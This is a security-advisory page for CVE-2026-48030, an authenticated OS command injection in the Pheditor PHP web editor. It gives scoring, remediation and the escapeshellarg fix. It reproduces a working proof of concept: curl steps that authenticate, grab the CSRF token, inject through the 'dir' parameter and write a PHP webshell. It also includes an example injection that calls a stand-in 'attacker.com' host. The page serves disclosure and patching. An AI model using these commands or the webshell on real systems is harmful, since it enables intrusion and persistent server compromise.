Skip to main content

Pheditor EUVDEUVD-2026-49384

| CVE-2026-48030 CRITICAL
OS Command Injection (CWE-78)
2026-06-09 https://github.com/pheditor/pheditor GHSA-jvc5-6g7q-c843
9.9
CVSS 3.1 · Vendor: https://github.com/pheditor/pheditor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reach exposed pheditor.php
  2. Delivery
    Authenticate with valid credentials
  3. Exploit
    Fetch CSRF token from page
  4. Install
    POST action=terminal with shell metacharacters in dir
  5. C2
    shell_exec() runs injected command as www-data
  6. Execute
    Drop PHP webshell in webroot
  7. Impact
    Persistent RCE and lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid Pheditor user session (CVSS PR:L) and that user must have the terminal permission enabled, which is the default configuration per the advisory, plus the pheditor.php endpoint must be network-reachable to the attacker. The attacker must also retrieve the CSRF token rendered in the pheditor.php page before submitting the terminal action POST. Limiting factors: deployments that have explicitly revoked the terminal permission, restricted pheditor.php to a management VLAN/VPN, or upgraded to 2.0.4 are not exploitable; versions outside 2.0.1-2.0.3 are not affected.

Impact

The CVSS 9.9 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects a network-reachable, low-complexity bug requiring only low privileges, with scope change because the resulting OS-level execution breaks out of the PHP application boundary. The signal mix is consistent: the vendor's own GHSA includes a working PoC (publicly available exploit code exists), and the upstream patch commit is published, which raises copy-paste exploitation risk. EPSS and CISA KEV data were not provided in the input, so I cannot quantify in-the-wild exploitation rate - given Pheditor's niche footprint, exploitation is more likely opportunistic against exposed admin panels than mass-scanned. Practical risk is highest where pheditor.php is internet-exposed with weak/default credentials, since PR:L is trivially satisfied once an attacker logs in.

Exploit ScenarioDerived

An attacker who has obtained or guessed Pheditor admin credentials (or compromised a low-privileged user with the default terminal permission) authenticates, grabs the CSRF token from the main page, and POSTs to pheditor.php with action=terminal, a benign command=ls, and a malicious dir value such as '/var/www/html; echo "<?php system($_GET[c]); ?>" > shell.php #'. The injected payload drops a PHP webshell into the webroot, after which the attacker has persistent unauthenticated RCE as www-data; the full chain is demonstrated step-by-step in the vendor's GHSA PoC.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 09, 2026

Authenticated remote code execution in Pheditor 2.0.1-2.0.3 lets any logged-in user with the default terminal permission bypass the TERMINAL_COMMANDS whitelist by injecting shell metacharacters into the unsanitized 'dir' POST parameter of pheditor.php, achieving full command execution as the web server user. Publicly available exploit code exists in the GitHub Security Advisory PoC, and the upstream commit confirms the root cause is missing escapeshellarg() on $dir before concatenation into shell_exec().

RemediationAI

Upgrade Pheditor to the vendor-released patch version 2.0.4 as tracked in GHSA-jvc5-6g7q-c843; the one-line fix replaces $dir with escapeshellarg($dir) on the shell_exec() call in pheditor.php (commit 62b43df7cb8956a9b0deb9bec278ca8676c890c5). If immediate upgrade is not possible, revoke the terminal permission from all pheditor users (this disables the affected action handler at the cost of losing in-app shell functionality), place pheditor.php behind an IP allowlist or VPN to remove network reachability, rotate the pheditor admin password to eliminate trivially-guessable credentials that satisfy the PR:L requirement, and as a stopgap apply the upstream one-line escapeshellarg() patch locally to pheditor.php line 583 - note this manual patch will be overwritten by future package updates and should be re-applied or replaced by the 2.0.4 upgrade.

Affected VersionsENISA

pheditor 2.0.1, < 2.0.4

Affected Packages

composer pheditor/pheditor fix: 2.0.4
euvd pheditor_2_0_1 fix: 2.0.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Pheditor is a PHP-based web file/code editor distributed via Composer (pkg:composer/pheditor_pheditor). The vulnerability is a textbook CWE-78 (OS Command Injection): in pheditor.php around line 583, the terminal action handler builds a shell string of the form 'cd ' . $dir . ' && ' . $command and passes it to shell_exec(). A blocklist for '&', ';', and '||' is applied only to $command, while $dir flows directly from $_POST into the shell, so attacker-controlled metacharacters in 'dir' break out of the cd context and chain arbitrary commands. The fix wraps $dir with escapeshellarg(), which is the canonical PHP primitive for safely embedding user input into shell strings.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pheditor/pheditor) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/pheditor/pheditor) · only source for this CVE.

CVSS VectorVendor: https://github.com/pheditor/pheditor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.

Details

The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only - $dir is passed to shell_exec() without any sanitization.

Vulnerable code (pheditor.php, line 554-586):

php
$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked - vulnerable

if (strpos($command, '&')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'  // ← $dir injected here
);

An attacker sends dir=/tmp; curl attacker.com # - the semicolon in $dir is never checked, so the injected command executes freely.

Fix: replace $dir with escapeshellarg($dir) on line 586.

PoC

Requirements: valid credentials, terminal permission enabled (default)

Step 1 - Authenticate:

bash
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

Step 2 - Get CSRF token:

bash
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

Step 3 - Confirm curl is blocked via command field:

bash
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}

Step 4 - Bypass whitelist via dir injection:

bash
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}

Step 5 - Full RCE via webshell:

bash
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:

  • Execute arbitrary OS commands as the web server user
  • Bypass the TERMINAL_COMMANDS whitelist entirely
  • Deploy persistent PHP webshells to the webroot
  • Read, write, or delete any file accessible to the web server
  • Potentially compromise other applications on the same server

Executive ViewAI

Why It Matters

Pheditor versions 2.0.1-2.0.3 contain a critical vulnerability (CVSS 9.9) allowing any authenticated user to execute arbitrary system commands with web server privileges, enabling full application and system compromise. Public exploit code is available, creating immediate operational risk for any organization running affected versions.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 63% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy